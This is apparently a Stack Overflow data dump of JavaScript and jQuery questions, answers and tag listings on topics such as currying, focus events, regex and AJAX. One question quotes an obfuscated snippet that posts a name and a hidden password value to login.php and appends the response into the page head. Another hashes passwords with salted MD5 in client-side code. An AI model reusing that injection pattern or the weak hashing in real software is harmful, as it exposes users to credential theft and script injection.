favorite count: 0
upvote count: 5
downvote count: 0
answer count: 5
type: UnansweredQuestion
has body: I'm trying to solve a puzzle, and am at my wit's end trying to figure it out. I'm supposed to make a function that works like this: add(1); //returns 1 add(1)(1); //returns 2 add(1)(1)(1); //returns 3 I know it can be done because other people have successfully completed the puzzle. I have tried several different ways to do it. This is my most recent attempt: function add(n) { //Return new add(n) on first call if (!(this instanceof add)) { return new add(n); } //Define calc function var obj = this; obj.calc = function(n) { if (typeof n != "undefined") { obj.sum += n; return obj.calc; } return obj.sum; } //Constructor initializes sum and returns calc(n) obj.sum = 0; return obj.calc(n); } The idea is that on the first call, a new add(n) is initialized and calc(n) is run. If calc receives a parameter, it adds n to sum and returns itself. When it eventually doesn't receive a parameter, it returns the value of sum. It makes sense in theory, but I can't get it to work. Any ideas? --edit-- My code is just the route I chose to go. I'm not opposed to a different approach if anyone can think of one.
has answer: http://stackoverflow.com/a/25579618
has comment: http://stackoverflow.com/comment/39950015
has title: Puzzle: JS Function that returns itself until there are no arguments
type: Question
score: 5
tagged with: javascript

http://stackoverflow.com/comment/39934060
comment on: http://stackoverflow.com/a/25570349
has text: @pomeh No I didn't build whole regex for OP, just gave an example on how to build the regex.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25661348
downvote count: 0
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40100328
favorite count: 0
tagged with: ajax
has answer: http://stackoverflow.com/a/25661471
score: 3
tagged with: http://stackoverflow.com/tag/html
answer count: 4
has body: I'm making ajax suggestion of search in which, a suggestion box will be displayed ...... Item 1 ..... and Javascript $('#searchbox .searchinput').focus( function () { $('#searchbox #sugbox').show(); }); $('#searchbox .searchinput').focusout( function () { $('#searchbox #sugbox').hide(); }); The suggestion box will open if the search textbox #searchbox .searchinput is focus and hide if focusout. Problem : whenever i'm clicking the link on suggestion box, the suggestion box hides (because of input focusout event). How can i check if the target div is the suggestion box so don't hide the box ex .. $('#searchbox .searchinput').focusout( function () { if(target div is not sugbox) $('#searchbox #sugbox').hide(); });
type: UnansweredQuestion
tagged with: css
has answer: http://stackoverflow.com/a/25661446
has title: jquery input field focus out except a div
has answer: http://stackoverflow.com/a/25661770
upvote count: 3
type: Question
has answer: http://stackoverflow.com/a/25662401
has comment: http://stackoverflow.com/comment/40100272

http://stackoverflow.com/comment/40091959
has text: From what I can see we can find out the method called by the javascript (getTest) (edited original question with log from the response tab as well). The result refers to the object (t) so it appears to me like everything is good. Testing is currently performed on my local dev server.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25635051
type: Comment

http://stackoverflow.com/q/25645516
has comment: http://stackoverflow.com/comment/40071292
type: Question
has answer: http://stackoverflow.com/a/25645638
tagged with: javascript
has body: How do I manipulate an DOM element every 10th second? I've tried like this: var endurance = angular.element('.progressbar').height(); var endurance2 = angular.element('.progressbar').css('height', endurance-25); window.setInterval(foo, 10000); foo(); function foo() { console.log("Update"); //This is running endurance2 = angular.element('.progressbar').css('height', endurance-25); //But not this } As you can see, my console.log("update"); is running, but the element is not update. Anyone who can help me?
has title: Manipulate DOM element every 10th second
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/25645638
has comment: http://stackoverflow.com/comment/40071258
tagged with: angularjs
type: AnsweredQuestion
tagged with: dom

http://stackoverflow.com/comment/40004990
comment on: http://stackoverflow.com/a/25602114
type: AnswerComment
has text: Sure, change the HTML `id` to `class` and then `utubeFrame = $('.utubeframe')` and `utubeFrame[0].href = ...` instead of `utubeFrame.href = ...` should do it, I believe.
score: 0
type: Comment

http://stackoverflow.com/q/25556526
has comment: http://stackoverflow.com/comment/39907895
type: AnsweredQuestion
has title: understanding "append" of jquery
upvote count: 3
has answer: http://stackoverflow.com/a/25556584
has body: I try to understand this code written in javascript $(p)[on](click,function (){$[post](login.php, { name:$(this)[attr](id),pass:_0x15x2}, function (_0x15x3){$(head)[append](_0x15x3);} );} It's clear that it associate an event "click" to "p". when the user click, it sends ,using post method, name and pass. But I can't understand the objectif of function (_0x15x3){$(head)[append](_0x15x3); I didn't found any other occurrence of "_0x15x3" at any place in the page that I'm analyzing
accepted answer: http://stackoverflow.com/a/25556584
downvote count: 7
type: Question
has comment: http://stackoverflow.com/comment/39907964
has comment: http://stackoverflow.com/comment/39908019
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/39912134
has comment: http://stackoverflow.com/comment/39907923
has comment: http://stackoverflow.com/comment/39907894
has comment: http://stackoverflow.com/comment/39912254
answer count: 1
has comment: http://stackoverflow.com/comment/39907883
favorite count: 0
score: -4

http://stackoverflow.com/a/25584772
answers question: http://stackoverflow.com/q/25573297
upvote count: 1
score: 1
has body: For 301 redirects, the chrome browser stores information of the 301 redirect in the cache(so that the server can load data faster in the future). So my app.get wasn't being called because the cache was serving a localized version of the web page instead of requesting from the server again. To make it work, clear the cache in the setting (where browsing history is). Then, it will redirect by requesting to web server accordingly and app.get() will be called.
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25573297

http://stackoverflow.com/comment/40169040
has text: @Harry: So, what's the solution from that thread? No, it can't be done.
score: 0
comment on: http://stackoverflow.com/q/25699029
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25703360
has answer: http://stackoverflow.com/a/70100188
has title: Regular Expression - Extract subdomain & domain
linked to: http://stackoverflow.com/q/6644654
tagged with: subdomain
upvote count: 43
has answer: http://stackoverflow.com/a/25703787
has answer: http://stackoverflow.com/a/25703800
tagged with: url
has answer: http://stackoverflow.com/a/25703406
favorite count: 0
linked to: http://stackoverflow.com/q/736513
type: Question
linked to: http://stackoverflow.com/q/4140324
has answer: http://stackoverflow.com/a/25703476
has answer: http://stackoverflow.com/a/75664821
tagged with: regex
linked to: http://stackoverflow.com/q/7840306
score: 42
has answer: http://stackoverflow.com/a/41702438
downvote count: 1
has body: I'm trying to form a regular expression (javascript/node.js) which will extract the sub-domain &amp; domain part from any given URL. This is what I ended up with: [^(?:http:\/\/|www\.|https:\/\/)]([^\/]+) Right now, I'm just considering http, https for protocol &amp; exclude "www." portion from the subdomain+domain portion of an URL. I checked the expression &amp; it almost works. But, here is the issue: Success 'http://mplay.google.co.in/sadfask/asdkfals?dk=10'.match(/[^(?:http:\/\/|www\.|https:\/\/)]([^\/]+)/i) 'http://lplay.google.co.in/sadfask/asdkfals?dk=10'.match(/[^(?:http:\/\/|www\.|https:\/\/)]([^\/]+)/i) Failure 'http://play.google.co.in/sadfask/asdkfals?dk=10'.match(/[^(?:http:\/\/|www\.|https:\/\/)]([^\/]+)/i) 'http://tplay.google.co.in/sadfask/asdkfals?dk=10'.match(/[^(?:http:\/\/|www\.|https:\/\/)]([^\/]+)/i) I just use the first element from the result array. I'm not able to understand why "play." &amp; "tplay." doesn't work. Could anyone please help me in this regard? Does "/p" and "/t" have any meaning for the regular expression evaluator? Is there any other way of extracting sub-domain &amp; domain from any given URL using a regular expression? Edit - Example: https://play.google.com/store/apps/details?id=com.skgames.trafficracer => play.google.com https://mail.google.com/mail/u/0/#inbox => mail.google.com
answer count: 7
tagged with: javascript
type: UnansweredQuestion

http://stackoverflow.com/q/25560244
has body: I have two spans with the IDs salt and password &lt;div&gt; $salt = '&lt;span id="salt"&gt;&lt;/span&gt;';&lt;br /&gt; $password = '&lt;span id="password"&gt;&lt;/span&gt;'; &lt;/div&gt; I then use the following jQuery code which takes the salt, adds it to the password entered by the user, and returns both a salt and hashed password (to copy into a config file) salt = (Math.random() +1).toString(36).substr(2, 16); $('#salt').html(salt); hashed = CryptoJS.MD5(salt + $(this).val()); $('#password').html(hashed); This code adds the salt to the span with the salt ID, but it doesn't add anything to the password ID. If I enter the code alert(hashed) it will open an alert with an md5 value. If I change .html() to .text() it works.
answer count: 1
downvote count: 1
has title: MD5 string not displaying correctly with html()
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/39939707
upvote count: 5
has comment: http://stackoverflow.com/comment/39914969
has comment: http://stackoverflow.com/comment/39915053
has comment: http://stackoverflow.com/comment/39915001
tagged with: cryptojs
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39915016
has comment: http://stackoverflow.com/comment/39915037
has comment: http://stackoverflow.com/comment/39914974
has answer: http://stackoverflow.com/a/25560765
type: Question
accepted answer: http://stackoverflow.com/a/25560765
has comment: http://stackoverflow.com/comment/39914965
tagged with: javascript
score: 4

jquery
tags question: http://stackoverflow.com/q/25561296
tags question: http://stackoverflow.com/q/25598821
tags question: http://stackoverflow.com/q/25580976
tags question: http://stackoverflow.com/q/25686444
tags question: http://stackoverflow.com/q/25631798
tags question: http://stackoverflow.com/q/25573468
tags question: http://stackoverflow.com/q/25572070
tags question: http://stackoverflow.com/q/25578514
tags question: http://stackoverflow.com/q/25693734
tags question: http://stackoverflow.com/q/25648346
tags question: http://stackoverflow.com/q/25675248
tags question: http://stackoverflow.com/q/25633292
tags question: http://stackoverflow.com/q/25633324
tags question: http://stackoverflow.com/q/25682105
tags question: http://stackoverflow.com/q/25551162
tags question: http://stackoverflow.com/q/25697055
tags question: http://stackoverflow.com/q/25578300
tags question: http://stackoverflow.com/q/25570055
tags question: http://stackoverflow.com/q/25609545
tags question: http://stackoverflow.com/q/25625566
tags question: http://stackoverflow.com/q/25698574
tags question: http://stackoverflow.com/q/25609151
tags question: http://stackoverflow.com/q/25708517
tags question: http://stackoverflow.com/q/25673529
tags question: http://stackoverflow.com/q/25561823
tags question: http://stackoverflow.com/q/25707062
tags question: http://stackoverflow.com/q/25588247
tags question: http://stackoverflow.com/q/25702751
tags question: http://stackoverflow.com/q/25652510
tags question: http://stackoverflow.com/q/25646850
tags question: http://stackoverflow.com/q/25701368
tags question: http://stackoverflow.com/q/25583748
tags question: http://stackoverflow.com/q/25685843
tags question: http://stackoverflow.com/q/25584259
tags question: http://stackoverflow.com/q/25600313
tags question: http://stackoverflow.com/q/25642673
tags question: http://stackoverflow.com/q/25615450
tags question: http://stackoverflow.com/q/25668612
tags question: http://stackoverflow.com/q/25669929
tags question: http://stackoverflow.com/q/25646852
tags question: http://stackoverflow.com/q/25657493
tags question: http://stackoverflow.com/q/25663859
tags question: http://stackoverflow.com/q/25587496
tags question: http://stackoverflow.com/q/25595968
tags question: http://stackoverflow.com/q/25554074
tags question: http://stackoverflow.com/q/25617562
tags question: http://stackoverflow.com/q/25642541
tags question: http://stackoverflow.com/q/25609695
tags question: http://stackoverflow.com/q/25619486
tags question: http://stackoverflow.com/q/25633458
tags question: http://stackoverflow.com/q/25553873
tags question: http://stackoverflow.com/q/25705870
tags question: http://stackoverflow.com/q/25587219
tags question: http://stackoverflow.com/q/25583311
tags question: http://stackoverflow.com/q/25697969
tags question: http://stackoverflow.com/q/25593597
tags question: http://stackoverflow.com/q/25598177
tags question: http://stackoverflow.com/q/25600714
tags question: http://stackoverflow.com/q/25617674
tags question: http://stackoverflow.com/q/25598426
tags question: http://stackoverflow.com/q/25582336
tags question: http://stackoverflow.com/q/25694592
tags question: http://stackoverflow.com/q/25622275
tags question: http://stackoverflow.com/q/25665831
tags question: http://stackoverflow.com/q/25637291
tags question: http://stackoverflow.com/q/25650234
tags question: http://stackoverflow.com/q/25580586
tags question: http://stackoverflow.com/q/25598602
tags question: http://stackoverflow.com/q/25708454
tags question: http://stackoverflow.com/q/25712833
tags question: http://stackoverflow.com/q/25614788
tags question: http://stackoverflow.com/q/25616043
tags question: http://stackoverflow.com/q/25707142
tags question: http://stackoverflow.com/q/25657338
tags question: http://stackoverflow.com/q/25638698
tags question: http://stackoverflow.com/q/25551656
tags question: http://stackoverflow.com/q/25647734
tags question: http://stackoverflow.com/q/25707768
tags question: http://stackoverflow.com/q/25702155
tags question: http://stackoverflow.com/q/25658046

http://stackoverflow.com/comment/39991536
score: 0
comment on: http://stackoverflow.com/q/25601371
type: Comment
type: QuestionComment
has text: if you select an option from the dropdown, which `select` element gets updated?

http://stackoverflow.com/comment/39901566
score: 1
comment on: http://stackoverflow.com/q/25553216
type: Comment
type: QuestionComment
has text: Put script after html.

http://stackoverflow.com/comment/40377172
type: Comment
comment on: http://stackoverflow.com/a/25692841
type: AnswerComment
has text: @user428747 Have you tried this: http://blog.filepicker.io/post/33906205133/hacking-a-file-api-onto-ie8
score: 0

http://stackoverflow.com/q/25605743
tagged with: logout
has answer: http://stackoverflow.com/a/25606908
has answer: http://stackoverflow.com/a/25606381
has title: Logout webpage when click on refresh button
type: Question
tagged with: refresh
has body: I am developing a website. Where I need to logout the page when one try to refresh the page. I got the code for logout when one click on f5 for refresh and also I got the code for disable right click on the page. but I dont know how to prevent the refresh button of browser or logout when I press refresh button. I searched many sites. But didn't get an answer. The code I gor for F5 key is function fkey(e){ e = e || window.event; if( wasPressed ) return; if (e.keyCode == 116) { alert("f5 pressed"); wasPressed = true; }else { alert("Window closed"); } } Can anyone please help me for the issue with refresh button?
linked to: http://stackoverflow.com/q/3247743
has answer: http://stackoverflow.com/a/59173149
score: 0
answer count: 3
tagged with: javascript
has comment: http://stackoverflow.com/comment/39999300
type: UnansweredQuestion

http://stackoverflow.com/q/25629164
has body: I have six kendoColorPicker objects initialized in a loop (see jsFiddle). When a color is choosen in one of them, I need to get its element id in the change event. I tried with the below but it does not work: Any ideas? This is the javascript: for (var i=1;i&lt;=6;i++){ $("#picker0"+i).kendoColorPicker({ value: "#ffffff", change: function(e) { alert($(this).attr('id')); } }); } and the input elements declaration: &lt;input id="picker01" /&gt; &lt;input id="picker02" /&gt; &lt;input id="picker03" /&gt; &lt;input id="picker04" /&gt; &lt;input id="picker05" /&gt; &lt;input id="picker06" /&gt;
has title: kendoColorPicker created dynamically - how to obtain element id?
accepted answer: http://stackoverflow.com/a/25629272
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25629218
type: Question
possible better answer: http://stackoverflow.com/a/25629218
answer count: 2
has answer: http://stackoverflow.com/a/25629272
tagged with: javascript
tagged with: jquery
tagged with: kendo-ui
score: 0

http://stackoverflow.com/a/25603530
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25571991
has body: I'd approach it like this: $( 'form' ).on( 'submit', function( evt ) { var form = $( this ); evt.preventDefault(); // prevent the form submission // ...do stuff... // delay the submission window.setTimeout( function() { form.off( 'submit' ); // remove this event handler form.submit(); // manually submit the form }, 500 // or whatever ); } ); This basically stops the form from being submitted until everything is sorted, then manually submits it. You might want to combine this with @Evilzebra's answer and stick the timeout function in an onload event for the created image, however the basic principles will be the same (prevent submission, then manually submit once ready). N.B. you need to unbind the event handler before the manual submit, or the submit event will fire again and just keep running in a loop!

forms
tags question: http://stackoverflow.com/q/25590140
tags question: http://stackoverflow.com/q/25642667
tags question: http://stackoverflow.com/q/25647951
tags question: http://stackoverflow.com/q/25592078
tags question: http://stackoverflow.com/q/25689084
tags question: http://stackoverflow.com/q/25617838
tags question: http://stackoverflow.com/q/25619401
type: Tag
tags question: http://stackoverflow.com/q/25699801
tags question: http://stackoverflow.com/q/25676297
tags question: http://stackoverflow.com/q/25700929
tags question: http://stackoverflow.com/q/25636719
tags question: http://stackoverflow.com/q/25676031
tags question: http://stackoverflow.com/q/25623255
tags question: http://stackoverflow.com/q/25567517
tags question: http://stackoverflow.com/q/25550971
tags question: http://stackoverflow.com/q/25563566
tags question: http://stackoverflow.com/q/25568721
tags question: http://stackoverflow.com/q/25584099
tags question: http://stackoverflow.com/q/25591645
tags question: http://stackoverflow.com/q/25627138
tags question: http://stackoverflow.com/q/25614901
tags question: http://stackoverflow.com/q/25640906
tags question: http://stackoverflow.com/q/25668780
tags question: http://stackoverflow.com/q/25605105
tags question: http://stackoverflow.com/q/25558188
tags question: http://stackoverflow.com/q/25573840
tags question: http://stackoverflow.com/q/25710527
tags question: http://stackoverflow.com/q/25686947
tags question: http://stackoverflow.com/q/25586575
tags question: http://stackoverflow.com/q/25551162
tags question: http://stackoverflow.com/q/25622016
tags question: http://stackoverflow.com/q/25642054
tags question: http://stackoverflow.com/q/25705870
tags question: http://stackoverflow.com/q/25648947
tags question: http://stackoverflow.com/q/25652037
tags question: http://stackoverflow.com/q/25645613
tags question: http://stackoverflow.com/q/25703298
tags question: http://stackoverflow.com/q/25678445
tags question: http://stackoverflow.com/q/25608632
tags question: http://stackoverflow.com/q/25614050
tags question: http://stackoverflow.com/q/25693416
tags question: http://stackoverflow.com/q/25648641
tags question: http://stackoverflow.com/q/25630179
tags question: http://stackoverflow.com/q/25685005
tags question: http://stackoverflow.com/q/25640621
tags question: http://stackoverflow.com/q/25619339
tags question: http://stackoverflow.com/q/25619685
tags question: http://stackoverflow.com/q/25583144
tags question: http://stackoverflow.com/q/25600929
tags question: http://stackoverflow.com/q/25627503
tags question: http://stackoverflow.com/q/25562568
tags question: http://stackoverflow.com/q/25625888
tags question: http://stackoverflow.com/q/25681959
tags question: http://stackoverflow.com/q/25685866
tags question: http://stackoverflow.com/q/25624971
tags question: http://stackoverflow.com/q/25682892
tags question: http://stackoverflow.com/q/25594565
tags question: http://stackoverflow.com/q/25575080
tags question: http://stackoverflow.com/q/25682744
tags question: http://stackoverflow.com/q/25688861
tags question: http://stackoverflow.com/q/25554074
tags question: http://stackoverflow.com/q/25572876
tags question: http://stackoverflow.com/q/25648682
tags question: http://stackoverflow.com/q/25694850
tags question: http://stackoverflow.com/q/25687851
tags question: http://stackoverflow.com/q/25568545
tags question: http://stackoverflow.com/q/25671023
tags question: http://stackoverflow.com/q/25612480
tags question: http://stackoverflow.com/q/25566044
tags question: http://stackoverflow.com/q/25623703
tags question: http://stackoverflow.com/q/25652160
tags question: http://stackoverflow.com/q/25592863
tags question: http://stackoverflow.com/q/25577618
tags question: http://stackoverflow.com/q/25563249
tag name: forms
tags question: http://stackoverflow.com/q/25650273
tags question: http://stackoverflow.com/q/25687300
tags question: http://stackoverflow.com/q/25630789
tags question: http://stackoverflow.com/q/25635091

http://stackoverflow.com/comment/40068872
score: 0
type: Comment
type: QuestionComment
has text: @fminl it's a good idea to form it as answer, yes :)
comment on: http://stackoverflow.com/q/25642667

http://stackoverflow.com/q/25588978
type: AnsweredQuestion
score: 3
accepted answer: http://stackoverflow.com/a/25589154
tagged with: javascript
tagged with: scheduler
has comment: http://stackoverflow.com/comment/39968669
answer count: 2
has body: I'm trying to achieve this with jQuery + JavaScript: I have commands/functions that need to be called in a sequence, with a small delay in between them. Examples of those include changing the css property of an element, showing hiding another etc. JavaScript does not have a sleep function as far as I know. So I'm wondering if jQuery has a plugin or something that supports this feature? Essentially, a function like $(window).schedule(function() { /* do something here*/ }, 500); would be nice. This will push the function into the queue and will be executed as soon as all the previous functions in the queue are executed, if there are no functions in the queue, it will be executed immediately. The integer parameter specifies the delay between this function and the one previous to it. I think I know how to build this from the ground up, but I'm hoping there is a plugin for this because it will save me from reinventing the wheel. If there isn't.. I'll build this and release it. :)
tagged with: scheduling
has answer: http://stackoverflow.com/a/25589154
tagged with: jquery
has comment: http://stackoverflow.com/comment/39968502
favorite count: 0
has answer: http://stackoverflow.com/a/25590004
upvote count: 3
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/25590004
has comment: http://stackoverflow.com/comment/39970318
downvote count: 0
has comment: http://stackoverflow.com/comment/39968477
type: Question
has title: jQuery function scheduling features

http://stackoverflow.com/comment/40056196
has text: wait, you can get the column values separately. It shouldn't be a problem now
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25636856
type: Comment

http://stackoverflow.com/a/25908841
upvote count: 12
has comment: http://stackoverflow.com/comment/128125482
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25698741
has body: Pick jspdf.min.js from https://github.com/MrRio/jsPDF/tree/master/dist Then this should work: .... &lt;script src="jspdf.min.js"&gt;&lt;/script&gt; &lt;script&gt; $(function () { $('#cmd').click(function () { var doc = new jsPDF(); doc.addHTML($('#content')[0], 15, 15, { 'background': '#fff', }, function() { doc.save('sample-file.pdf'); }); }); }); &lt;/script&gt; ....
score: 12
has comment: http://stackoverflow.com/comment/128101215

http://stackoverflow.com/comment/40132881
type: Comment
type: QuestionComment
has text: when i click the button i'm not on the page where the dialog is.i redirect to that page after the button clicked where the dialog is.. :)
comment on: http://stackoverflow.com/q/25639559
score: 0

http://stackoverflow.com/q/25613151
has title: JQuery .Load() javascript not executing
linked to: http://stackoverflow.com/q/1317080
linked to: http://stackoverflow.com/q/2990518
linked to: http://stackoverflow.com/q/16352371
type: Question
has comment: http://stackoverflow.com/comment/40012802
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40012885
tagged with: ajax
has comment: http://stackoverflow.com/comment/40013204
answer count: 1
tagged with: load
has body: I'm having major problems. I have a page called dashboard.php but the actual page div (ID = #dashboardcontainer) is empty as I am filling the content with this script: $('#dashboardcontainer').load('functions/pages/dashboard/dashboard_admin.php'); then I tried: $.getScript("assets/plugins/jquery-1.8.2/jquery-1.8.2.min.js", function(){ $('#dashboardcontainer').load('functions/pages/dashboard/dashboard_admin.php'); }) However, the page I am wanting to "inject" actually has Javascript in it. The problem is, the above javascript's .load() doesn't load the javascript in the file. I've tried lots of other examples from the following posts but they don't work at all. The javascript isn't actually loading. jQuery .load() / .ajax() not executing javascript in returned HTML after appended $.get('partial.html', function(result){ $result = $(result); $result.find('#content').appendTo('#new_content'); $result.find('script').appendTo('#new_content'); }, 'html'); = No javascript firing. jQuery ajax load() java script not executing? $("loadStuffHere").load("xyz.html"); $.getScript('js/xyz.js'); = Still no javascript firing. I can't use lots of PHP includes as I receive conflicts which stops my page from rendering correctly. I've also tried using some sort of Json thing to hide and show dom elements but I hate how complex it is to modify and insert new data. Is there any simple (this term doesn't seem to exist in the web development dictionary) way I can actually inject a web page that contains it's own javascript in the same way a PHP include would render it? Here is the PHP page I am trying to inject: <?php echo ' '; ?>
has answer: http://stackoverflow.com/a/25613243
type: UnansweredQuestion
score: 0
tagged with: php

http://stackoverflow.com/comment/40015876
type: AnswerComment
score: 0
type: Comment
has text: Oh yes, a third way to make a value/object available to a setTimeout's function is to use [Function.prototype.bind()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind), which returns a new function with "pre-passed" parameters (and a context).
comment on: http://stackoverflow.com/a/25614136

http://stackoverflow.com/a/25587455
type: Answer
has comment: http://stackoverflow.com/comment/39965728
answers question: http://stackoverflow.com/q/25583711
has body: This solution should match both IDs and usernames (with unicode characters): /\+[^/]+|\d{21}/ http://regexr.com/39ds0 Explanation: As an alternative to \w (which doesn't match unicode characters) I used a negation group [^/] (matches anything but "/").
score: 1
accepted answer of: http://stackoverflow.com/q/25583711
upvote count: 1
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39965779

http://stackoverflow.com/comment/40023529
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25619080
score: 1
has text: looks like you just need to join your split.. try `.join(' ')` after your split. (also dont forget the closing `;` on that line

http://stackoverflow.com/a/25651452
downvote count: 0
has comment: http://stackoverflow.com/comment/40084589
type: Answer
answers question: http://stackoverflow.com/q/25651288
has body: use this as a Form Field Directive: {{field.field_label}} Invalid: This is not a valid email. ng-form itself handle field name. you cant put name="{{field.field_name}}" like this.
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40082770
has comment: http://stackoverflow.com/comment/40083221
has comment: http://stackoverflow.com/comment/40082559
has comment: http://stackoverflow.com/comment/40082974

internet-explorer-9
tag name: internet-explorer-9
tags question: http://stackoverflow.com/q/25643478
tags question: http://stackoverflow.com/q/25553857
tags question: http://stackoverflow.com/q/25551051
tags question: http://stackoverflow.com/q/25558983
tags question: http://stackoverflow.com/q/25576295
type: Tag
tags question: http://stackoverflow.com/q/25555025

http://stackoverflow.com/q/25623332
accepted answer: http://stackoverflow.com/a/25630009
has title: MVC SPA + Knockout
has comment: http://stackoverflow.com/comment/40035123
type: AnsweredQuestion
tagged with: knockout.js
type: Question
tagged with: asp.net-mvc
tagged with: javascript
has comment: http://stackoverflow.com/comment/40032308
has body: I have just recently be tasked with creating an SPA. So, I created a new project and selected SPA and found that it loaded all the files I needed including this knockout.js. I am new to knockout.js so I watched a few videos and I get the idea, but the SPA project just doesn't seem to compute to me as it isn't a Single Page Application because you have to go to a new URL to login, register, authorise, manage account, etc (you get the idea). So, looking at the code for the index page I can see a view model for the homeView. It looks like this: function HomeViewModel(app, dataModel) { var self = this; self.myHometown = ko.observable(""); Sammy(function () { this.get('#home', function () { // Make a call to the protected Web API by passing in a Bearer Authorization Header $.ajax({ method: 'get', url: app.dataModel.userInfoUrl, contentType: "application/json; charset=utf-8", headers: { 'Authorization': 'Bearer ' + app.dataModel.getAccessToken() }, success: function (data) { self.myHometown('Your Hometown is : ' + data.hometown); } }); }); this.get('/', function () { this.app.runRoute('get', '#home') }); }); return self; } app.addViewModel({ name: "Home", bindingMemberName: "home", factory: HomeViewModel }); and the HTML looks like this: &lt;!-- ko with: home --&gt; &lt;!-- removed HTML to make it concise --&gt; &lt;!-- /ko --&gt; now, from the look of this (correct me if I am wrong) the with handle states that if there is a variable called home, then display it (I assume this is what the bindingMembername is). So, seeing that I can guess that if I added another partial page and included it. I could created a view model like this: function DrawViewModel(app, dataModel) { var self = this; Sammy(function () { this.get('#draw', function () { app.home = null; }); }); return self; } app.addViewModel({ name: "Draw", bindingMemberName: "draw", factory: DrawViewModel }); so, in theory because this sets the app.home to null whenever anyone navigates to #draw, then the home partial…
score: 0
has comment: http://stackoverflow.com/comment/40032082
answer count: 1
has comment: http://stackoverflow.com/comment/40031914
has answer: http://stackoverflow.com/a/25630009

http://stackoverflow.com/a/25640879
has comment: http://stackoverflow.com/comment/40077087
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25640611
answers question: http://stackoverflow.com/q/25640611
score: 0
type: Answer
has body: Here is your corrected code: compare with "==" or "===" instead of just "=". "=" is for allocation. "==" is for checking if it's the same value. "===" is for checking same value and same type. Here are more information about it. You also have to set the style again, otherwise you only change the variable. function FunzioneSliderLeft() { var left = document.getElementById("Slider_Cont_Section").style.left; if ( left == "0px") { return; } if ( left == "-1280px") { left = "0px";} else if ( left == "-2560px") { left = "-1280px";} else { left="-2560px"; } document.getElementByID("Slider_Cont_Section").style.left = left; } function FunzioneSliderRight() { var left = document.getElementById("Slider_Cont_Section").style.left; if ( left == "0px") { left = "-1280px"; } else if ( left == "-1280px") { left = "-2560px";} else if ( left == "-2560px") { left = "-3840px";} else { left="0px"; } document.getElementByID("Slider_Cont_Section").style.left = left; } Instead of checking so many values, you could use the switch command. To improve your code even further you could use the JQuery framework. function FunzioneSliderLeft() { var left = $("#Slider_Cont_Section").css("left"); switch(left) { case "0px": return; break; //for the Validator case "-1280px": left = "0px"; break; case "-2560px": left = "-1280px"; break; default: left = "-2560px"; } $("#Slider_Cont_Section").css("left") = left; function FunzioneSliderRight() { var left = $("#Slider_Cont_Section").css("left"); switch(left) { case "0px": left = "-1280px"; break; case "-1280px": left = "-2560px"; break; case "-2560px": left = "-3840px"; break; default: left = "0px"; } $("#Slider_Cont_Section").css("left") = left; } Even though this looks better than your code, there are plenty of improvement. It would be great it you tell us, what you want to achiece exactly.

http://stackoverflow.com/a/25630643
has comment: http://stackoverflow.com/comment/40046541
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/40063767
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40071525
answers question: http://stackoverflow.com/q/25630511
has body: But why .length in the for loop statement? The variable name boutonRadio is chosen unfortunate - it is not a single button. Length mean something you can measure how long it is, no ? Yes. So, why measuring a radio button length to know if it exist ? Kinda. But as said, it's not the length of a single radio button. What kind of length it is ? The document.getElementsByName() method does return a collection of all elements with that name - which might be one, but might also be none or multiple ones. This collection, an array-like object, is what we iterate by the loop; executing our code for each index from 0 to its .length. The single radio buttons are each referred by as boutonRadio[i] in the loop body.

http://stackoverflow.com/a/25655030
has body: You can use jQuery's on method and use div as a selector Like so: $('a[role="menuitem"]').on('click', 'div', function(e){ console.log(this); e.preventDefault(); });
score: 0
accepted answer of: http://stackoverflow.com/q/25654963
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25654963
type: Answer

http://stackoverflow.com/q/25676054
tagged with: z-index
score: 0
answer count: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25676809
type: AnsweredQuestion
has body: I'm trying to add a detail dropdown on events and they are getting cut off by the next row. Is there anyway to set the z-index of each week row (.fc-row) in the monthly view so that each subsuquent row has a lower z-index? i.e. the first week has a z-index of 9, the second week has one of 8 etc.
type: Question
has title: Adding z-index to week rows in FullCalendar
accepted answer: http://stackoverflow.com/a/25676809
tagged with: javascript
tagged with: fullcalendar

http://stackoverflow.com/comment/40084409
type: QuestionComment
comment on: http://stackoverflow.com/q/25652485
score: 0
has text: That is correct, yes!
type: Comment

http://stackoverflow.com/comment/39919074
type: QuestionComment
comment on: http://stackoverflow.com/q/25562285
has text: That would be awesome @anwerjunaid.
score: 0
type: Comment

http://stackoverflow.com/a/25625556
answers question: http://stackoverflow.com/q/25624979
has comment: http://stackoverflow.com/comment/40035974
has comment: http://stackoverflow.com/comment/40035719
accepted answer of: http://stackoverflow.com/q/25624979
